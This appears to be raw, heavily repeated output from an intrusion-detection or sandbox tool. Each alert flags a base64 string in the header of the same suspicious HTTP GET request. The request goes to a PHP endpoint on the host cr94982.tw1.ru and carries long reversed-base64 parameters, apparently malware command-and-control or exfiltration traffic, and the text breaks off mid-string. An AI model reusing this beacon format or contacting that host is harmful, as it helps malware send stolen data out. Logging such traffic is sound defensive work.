hWNVZVUOtWSzl0ULVHZzIWd01mYWh2QJVHZzIWd01mYWpUaPlWVXJGa1UlVRR2aJNXSTdVavpWS1x2VitmRwMGcKNETplUaPl2YVFVVKNETpFFWhNkQD5kMBNkYoVjMiBnTzMGbaJjY5JkRJNTQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaNl3Zqx0MrRFTzVEVONDN55keJl2Tp1kMiNnSDxUaNZlVp9maJVjSIRWdWNjYqp0QMlWSp9Ua0IjYwR2ValnSDxUaJl2TptGSkBnTtl0cJlWTyUkaMlXRqxEMJRVT1FlaOl2bql0ds1WS3AnaJZnWtJmSCh1UpdXaJRFZsFlVCZVUJpUaPlWVXJGa1s2Ys5EWWl2dplERCZFTURGbRZlQWFVSKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiIlVDZ2EzYkRDZzIjYxM2M0kjZmVGM2cTZwUWZmZWYxUDO4MGMjFTYzIiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: cr94982.tw1.ruConnection: Keep-Alive" Contains base64 string in header "d1nIiojIxYWY3gTZ0EjY5cjZyMzYzITY2Y2YlhjZjBDMmRWM4YjIsIyNiJDO5QTNjVmYjBjMiRWZ2YWOzYjZhVjNwImYhljNjBDZkRjYzIjZiojIzIWZygDNzYmY5MWO5czNhlTZwMjYyMTY0AzYhBTNmBjIsIyMzcTZ4EGNyIWOlFmY2cjNklzNkVDO5YTM0UDNjRDNyADZmlTNlRGOiojIkZWM5UmN4YWZ4UDZjFWOidDOhFmNjRjZmZmMyEmZhZmI7xSfiElZ5oUeQl2bqlEMJJjTspkMZxmR6lVMNpmT3NGRaVTR6lVaopmWrJlaO1mTU1keV1WTxUkeOJTRE9UbopnT0k0QMlGOqlkNJNUT0E1VOtmUH1EeBpWTxcGVPxmTXl1akpmW3V1RPxmRX1EaOpnT6lFRP1mWE5UNFRkWzEEVNl2dpl0dJl2Tpl0ROJTTy4EaKdlWsJ1RNtmVtpFaGpXW0ElaO1mWE9EaKdVW5lERaVTSq1UaWpnTohGVNxmStl0NwpWSoJFWZVkUIVGbKNETx8maJBjVzIGbxcVYVJEWaxGeyUVa3lWSspFWhBjTXFVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJlnW1x2RhpmUYF2MOZUSy5EWZVlSp9UajNjYrVzVhhlUxElQKNETpRzaJZTSTJGaO1WWsRWMjBnSDxUa0sWS2k0UaVXOHF2d502Yqx2VUpHbtl0cJN1S1R2MiVHdtJmVoNUS1R2MiVHdtJmVKl2TpV1VihWNVZVUOtWSzl0ULVHZzIWd01mYWh2QJVHZzIWd01mYWpUaPlWVXJGa1UlVRR2aJNXSTdVavpWS1x2VitmRwMGcKNETplUaPl2YVFVVKNETpFFWhNkQD5kMBNkYoVjMiBnTzMGbaJjY5JkRJNTQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaNl3Zqx0MrRFTzVEVONDN55keJl2Tp1kMiNnSDxUaNZlVp9maJVjSIRWdWNjYqp0QMlWSp9Ua0IjYwR2ValnSDxUaJl2TptGSkBnTtl0cJlWTyUkaMlXRqxEMJRVT1FlaOl2bql0ds1WS3AnaJZnWtJmSCh1UpdXaJRFZsFlVCZVUJpUaPlWVXJGa1s2Ys5EWWl2dplERCZFTURGbRZlQWFVSKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiIlVDZ2EzYkRDZzIjYxM2M0kjZmVGM2cTZwUWZmZWYxUDO4MGMjFTYzIiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W" in header "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&74bacac5bc2f8b8e98f39d5d9d6caaf7=d1nI3ImM4kDN1MWZiNGMyIGZlZjZ5MjNmFWN2AjYiFWO2MGMkRGNiNjMmJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W&328407ef3d927e7cf249afb544751da4=d1nIiojIxYWY3gTZ0EjY5cjZyMzYzITY2Y2YlhjZjBDMmRWM4YjIsIyNiJDO5QTNjVmYjBjMiRWZ2YWOzYjZhVjNwImYhljNjBDZkRjYzIjZiojIzIWZygDNzYmY5MWO5czNhlTZwMjYyMTY0AzYhBTNmBjIsIyMzcTZ4EGNyIWOlFmY2cjNklzNkVDO5YTM0UDNjRDNyADZmlTNlRGOiojIkZWM5UmN4YWZ4UDZjFWOidDOhFmNjRjZmZmMyEmZhZmI7xSfiElZ5oUeQl2bqlEMJJjTspkMZxmR6lVMNpmT3NGRaVTR6lVaopmWrJlaO1mTU1keV1WTxUkeOJTRE9UbopnT0k0QMlGOqlkNJNUT0E1VOtmUH1EeBpWTxcGVPxmTXl1akpmW3V1RPxmRX1EaOpnT6lFRP1mWE5UNFRkWzEEVNl2dpl0dJl2Tpl0ROJTTy4EaKdlWsJ1RNtmVtpFaGpXW0ElaO1mWE9EaKdVW5lERaVTSq1UaWpnTohGVNxmStl0NwpWSoJFWZVkUIVGbKNETx8maJBjVzIGbxcVYVJEWaxGeyUVa3lWSspFWhBjTXFVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJlnW1x2RhpmUYF2MOZUSy5EWZVlSp9UajNjYrVzVhhlUxElQKNETpRzaJZTSTJGaO1WWsRWMjBnSDxUa0sWS2k0UaVXOHF2d502Yqx2VUpHbtl0cJN1S1R2MiVHdtJmVoNUS1R2MiVHdtJmVKl2TpV1VihWNVZVUOtWSzl0ULVHZzIWd01mYWh2QJVHZzIWd01mYWpUaPlWVXJGa1UlVRR2aJNXSTdVavpWS1x2VitmRwMGcKNETplUaPl2YVFVVKNETpFFWhNkQD5kMBNkYoVjMiBnTzMGbaJjY5JkRJNTQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaNl3Zqx0MrRFTzVEVONDN55keJl2Tp1kMiNnSDxUaNZlVp9maJVjSIRWdWNjYqp0QMlWSp9Ua0IjYwR2ValnSDxUaJl2TptGSkBnTtl0cJlWTyUkaMlXRqxEMJRVT1FlaOl2bql0ds1WS3AnaJZnWtJmSCh1UpdXaJRFZsFlVCZVUJpUaPlWVXJGa1s2Ys5EWWl2dplERCZFTURGbRZlQWFVSKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiIlVDZ2EzYkRDZzIjYxM2M0kjZmVGM2cTZwUWZmZWYxUDO4MGMjFTYzIiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: cr94982.tw1.ruConnection: Keep-Alive" Contains base64 string in header "Type" in header "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&74bacac5bc2f8b8e98f39d5d9d6caaf7=d1nI3ImM4kDN1MWZiNGMyIGZlZjZ5MjNmFWN2AjYiFWO2MGMkRGNiNjMmJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W&328407ef3d927e7cf249afb544751da4=d1nIiojIxYWY3gTZ0EjY5cjZyMzYzITY2Y2YlhjZjBDMmRWM4YjIsIyNiJDO5QTNjVmYjBjMiRWZ2YWOzYjZhVjNwImYhljNjBDZkRjYzIjZiojIzIWZygDNzYmY5MWO5czNhlTZwMjYyMTY0AzYhBTNmBjIsIyMzcTZ4EGNyIWOlFmY2cjNklzNkVDO5YTM0UDNjRDNyADZmlTNlRGOiojIkZWM5UmN4YWZ4UDZjFWOidDOhFmNjRjZmZmMyEmZhZmI7xSfiElZ5oUeQl2bqlEMJJjTspkMZxmR6lVMNpmT3NGRaVTR6lVaopmWrJlaO1mTU1keV1WTxUkeOJTRE9UbopnT0k0QMlGOqlkNJNUT0E1VOtmUH1EeBpWTxcGVPxmTXl1akpmW3V1RPxmRX1EaOpnT6lFRP1mWE5UNFRkWzEEVNl2dpl0dJl2Tpl0ROJTTy4EaKdlWsJ1RNtmVtpFaGpXW0ElaO1mWE9EaKdVW5lERaVTSq1UaWpnTohGVNxmStl0NwpWSoJFWZVkUIVGbKNETx8maJBjVzIGbxcVYVJEWaxGeyUVa3lWSspFWhBjTXFVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJlnW1x2RhpmUYF2MOZUSy5EWZVlSp9UajNjYrVzVhhlUxElQKNETpRzaJZTSTJGaO1WWsRWMjBnSDxUa0sWS2k0UaVXOHF2d502Yqx2VUpHbtl0cJN1S1R2MiVHdtJmVoNUS1R2MiVHdtJmVKl2TpV1VihWNVZVUOtWSzl0ULVHZzIWd01mYWh2QJVHZzIWd01mYWpUaPlWVXJGa1UlVRR2aJNXSTdVavpWS1x2VitmRwMGcKNETplUaPl2YVFVVKNETpFFWhNkQD5kMBNkYoVjMiBnTzMGbaJjY5JkRJNTQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaNl3Zqx0MrRFTzVEVONDN55keJl2Tp1kMiNnSDxUaNZlVp9maJVjSIRWdWNjYqp0QMlWSp9Ua0IjYwR2ValnSDxUaJl2TptGSkBnTtl0cJlWTyUkaMlXRqxEMJRVT1FlaOl2bql0ds1WS3AnaJZnWtJmSCh1UpdXaJRFZsFlVCZVUJpUaPlWVXJGa1s2Ys5EWWl2dplERCZFTURGbRZlQWFVSKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiIlVDZ2EzYkRDZzIjYxM2M0kjZmVGM2cTZwUWZmZWYxUDO4MGMjFTYzIiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: cr94982.tw1.ruConnection: Keep-Alive" Contains base64 string in header "like" in header "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&74bacac5bc2f8b8e98f39d5d9d6caaf7=d1nI3ImM4kDN1MWZiNGMyIGZlZjZ5MjNmFWN2AjYiFWO2MGMkRGNiNjMmJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W&328407ef3d927e7cf249afb544751da4=d1nIiojIxYWY3gTZ0EjY5cjZyMzYzITY2Y2YlhjZjBDMmRWM4YjIsIyNiJDO5QTNjVmYjBjMiRWZ2YWOzYjZhVjNwImYhljNjBDZkRjYzIjZiojIzIWZygDNzYmY5MWO5czNhlTZwMjYyMTY0AzYhBTNmBjIsIyMzcTZ4EGNyIWOlFmY2cjNklzNkVDO5YTM0UDNjRDNyADZmlTNlRGOiojIkZWM5UmN4YWZ4UDZjFWOidDOhFmNjRjZmZmMyEmZhZmI7xSfiElZ5oUeQl2bqlEMJJjTspkMZxmR6lVMNpmT3NGRaVTR6lVaopmWrJlaO1mTU1keV1WTxUkeOJTRE9UbopnT0k0QMlGOqlkNJNUT0E1VOtmUH1EeBpWTxcGVPxmTXl1akpmW3V1RPxmRX1EaOpnT6lFRP1mWE5UNFRkWzEEVNl2dpl0dJl2Tpl0ROJTTy4EaKdlWsJ1RNtmVtpFaGpXW0ElaO1mWE9EaKdVW5lERaVTSq1UaWpnTohGVNxmStl0NwpWSoJFWZVkUIVGbKNETx8maJBjVzIGbxcVYVJEWaxGeyUVa3lWSspFWhBjTXFVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJlnW1x2RhpmUYF2MOZUSy5EWZVlSp9UajNjYrVzVhhlUxElQKNETpRzaJZTSTJGaO1WWsRWMjBnSDxUa0sWS2k0UaVXOHF2d502Yqx2VUpHbtl0cJN1S1R2MiVHdtJmVoNUS1R2MiVHdtJmVKl2TpV1VihWNVZVUOtWSzl0ULVHZzIWd01mYWh2QJVHZzIWd01mYWpUaPlWVXJGa1UlVRR2aJNXSTdVavpWS1x2VitmRwMGcKNETplUaPl2YVFVVKNETpFFWhNkQD5kMBNkYoVjMiBnTzMGbaJjY5JkRJNTQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaNl3Zqx0MrRFTzVEVONDN55keJl2Tp1kMiNnSDxUaNZlVp9maJVjSIRWdWNjYqp0QMlWSp9Ua0IjYwR2ValnSDxUaJl2TptGSkBnTtl0cJlWTyUkaMlXRqxEMJRVT1FlaOl2bql0ds1WS3AnaJZnWtJmSCh1UpdXaJRFZsFlVCZVUJpUaPlWVXJGa1s2Ys5EWWl2dplERCZFTURGbRZlQWFVSKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiIlVDZ2EzYkRDZzIjYxM2M0kjZmVGM2cTZwUWZmZWYxUDO4MGMjFTYzIiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: cr94982.tw1.ruConnection: Keep-Alive" Contains base64 string in header "4664" in header "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&74bacac5bc2f8b8e98f39d5d9d6caaf7=d1nI3ImM4kDN1MWZiNGMyIGZlZjZ5MjNmFWN2AjYiFWO2MGMkRGNiNjMmJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W&328407ef3d927e7cf249afb544751da4=d1nIiojIxYWY3gTZ0EjY5cjZyMzYzITY2Y2YlhjZjBDMmRWM4YjIsIyNiJDO5QTNjVmYjBjMiRWZ2YWOzYjZhVjNwImYhljNjBDZkRjYzIjZiojIzIWZygDNzYmY5MWO5czNhlTZwMjYyMTY0AzYhBTNmBjIsIyMzcTZ4EGNyIWOlFmY2cjNklzNkVDO5YTM0UDNjRDNyADZmlTNlRGOiojIkZWM5UmN4YWZ4UDZjFWOidDOhFmNjRjZmZmMyEmZhZmI7xSfiElZ5oUeQl2bqlEMJJjTspkMZxmR6lVMNpmT3NGRaVTR6lVaopmWrJlaO1mTU1keV1WTxUkeOJTRE9UbopnT0k0QMlGOqlkNJNUT0E1VOtmUH1EeBpWTxcGVPxmTXl1akpmW3V1RPxmRX1EaOpnT6lFRP1mWE5UNFRkWzEEVNl2dpl0dJl2Tpl0ROJTTy4EaKdlWsJ1RNtmVtpFaGpXW0ElaO1mWE9EaKdVW5lERaVTSq1UaWpnTohGVNxmStl0NwpWSoJFWZVkUIVGbKNETx8maJBjVzIGbxcVYVJEWaxGeyUVa3lWSspFWhBjTXFVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJlnW1x2RhpmUYF2MOZUSy5EWZVlSp9UajNjYrVzVhhlUxElQKNETpRzaJZTSTJGaO1WWsRWMjBnSDxUa0sWS2k0UaVXOHF2d502Yqx2VUpHbtl0cJN1S1R2MiVHdtJmVoNUS1R2MiVHdtJmVKl2TpV1VihWNVZVUOtWSzl0ULVHZzIWd01mYWh2QJVHZzIWd01mYWpUaPlWVXJGa1UlVRR2aJNXSTdVavpWS1x2VitmRwMGcKNETplUaPl2YVFVVKNETpFFWhNkQD5kMBNkYoVjMiBnTzMGbaJjY5JkRJNTQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaNl3Zqx0MrRFTzVEVONDN55keJl2Tp1kMiNnSDxUaNZlVp9maJVjSIRWdWNjYqp0QMlWSp9Ua0IjYwR2ValnSDxUaJl2TptGSkBnTtl0cJlWTyUkaMlXRqxEMJRVT1FlaOl2bql0ds1WS3AnaJZnWtJmSCh1UpdXaJRFZsFlVCZVUJpUaPlWVXJGa1s2Ys5EWWl2dplERCZFTURGbRZlQWFVSKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiIlVDZ2EzYkRDZzIjYxM2M0kjZmVGM2cTZwUWZmZWYxUDO4MGMjFTYzIiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: cr94982.tw1.ruConnection: Keep-Alive" Contains base64 string in header "ruConnection" in header "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&74bacac5bc2f8b8e98f39d5d9d6caaf7=d1nI3ImM4kDN1MWZiNGMyIGZlZjZ5MjNmFWN2AjYiFWO2MGMkRGNiNjMmJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W&328407ef3d927e7cf249afb544751da4=d1nIiojIxYWY3gTZ0EjY5cjZyMzYzITY2Y2YlhjZjBDMmRWM4YjIsIyNiJDO5QTNjVmYjBjMiRWZ2YWOzYjZhVjNwImYhljNjBDZkRjYzIjZiojIzIWZygDNzYmY5MWO5czNhlTZwMjYyMTY0AzYhBTNmBjIsIyMzcTZ4EGNyIWOlFmY2cjNklzNkVDO5YTM0UDNjRDNyADZmlTNlRGOiojIkZWM5UmN4YWZ4UDZjFWOidDOhFmNjRjZmZmMyEmZhZmI7xSfiElZ5oUeQl2bqlEMJJjTspkMZxmR6lVMNpmT3NGRaVTR6lVaopmWrJlaO1mTU1keV1WTxUkeOJTRE9UbopnT0k0QMlGOqlkNJNUT0E1VOtmUH1EeBpWTxcGVPxmTXl1akpmW3V1RPxmRX1EaOpnT6lFRP1mWE5UNFRkWzEEVNl2dpl0dJl2Tpl0ROJTTy4EaKdlWsJ1RNtmVtpFaGpXW0ElaO1mWE9EaKdVW5lERaVTSq1UaWpnTohGVNxmStl0NwpWSoJFWZVkUIVGbKNETx8maJBjVzIGbxcVYVJEWaxGeyUVa3lWSspFWhBjTXFVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJlnW1x2RhpmUYF2MOZUSy5EWZVlSp9UajNjYrVzVhhlUxElQKNETpRzaJZTSTJGaO1WWsRWMjBnSDxUa0sWS2k0UaVXOHF2d502Yqx2VUpHbtl0cJN1S1R2MiVHdtJmVoNUS1R2MiVHdtJmVKl2TpV1VihWNVZVUOtWSzl0ULVHZzIWd01mYWh2QJVHZzIWd01mYWpUaPlWVXJGa1UlVRR2aJNXSTdVavpWS1x2VitmRwMGcKNETplUaPl2YVFVVKNETpFFWhNkQD5kMBNkYoVjMiBnTzMGbaJjY5JkRJNTQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaNl3Zqx0MrRFTzVEVONDN55keJl2Tp1kMiNnSDxUaNZlVp9maJVjSIRWdWNjYqp0QMlWSp9Ua0IjYwR2ValnSDxUaJl2TptGSkBnTtl0cJlWTyUkaMlXRqxEMJRVT1FlaOl2bql0ds1WS3AnaJZnWtJmSCh1UpdXaJRFZsFlVCZVUJpUaPlWVXJGa1s2Ys5EWWl2dplERCZFTURGbRZlQWFVSKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiIlVDZ2EzYkRDZzIjYxM2M0kjZmVGM2cTZwUWZmZWYxUDO4MGMjFTYzIiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: cr94982.tw1.ruConnection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&74bacac5bc2f8b8e98f39d5d9d6caaf7=d1nI3ImM4kDN1MWZiNGMyIGZlZjZ5MjNmFWN2AjYiFWO2MGMkRGNiNjMmJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W&328407ef3d927e7cf249afb544751da4=d1nIiojIxYWY3gTZ0EjY5cjZyMzYzITY2Y2YlhjZjBDMmRWM4YjIsIyNiJDO5QTNjVmYjBjMiRWZ2YWOzYjZhVjNwImYhljNjBDZkRjYzIjZiojIzIWZygDNzYmY5MWO5czNhlTZwMjYyMTY0AzYhBTNmBjIsIyMzcTZ4EGNyIWOlFmY2cjNklzNkVDO5YTM0UDNjRDNyADZmlTNlRGOiojIkZWM5UmN4YWZ4UDZjFWOidDOhFmNjRjZmZmMyEmZhZmI7xSfiElZ5oUeQl2bqlEMJJjTspkMZxmR6lVMNpmT3NGRaVTR6lVaopmWrJlaO1mTU1keV1WTxUkeOJTRE9UbopnT0k0QMlGOqlkNJNUT0E1VOtmUH1EeBpWTxcGVPxmTXl1akpmW3V1RPxmRX1EaOpnT6lFRP1mWE5UNFRkWzEEVNl2dpl0dJl2Tpl0ROJTTy4EaKdlWsJ1RNtmVtpFaGpXW0ElaO1mWE9EaKdVW5lERaVTSq1UaWpnTohGVNxmStl0Nwp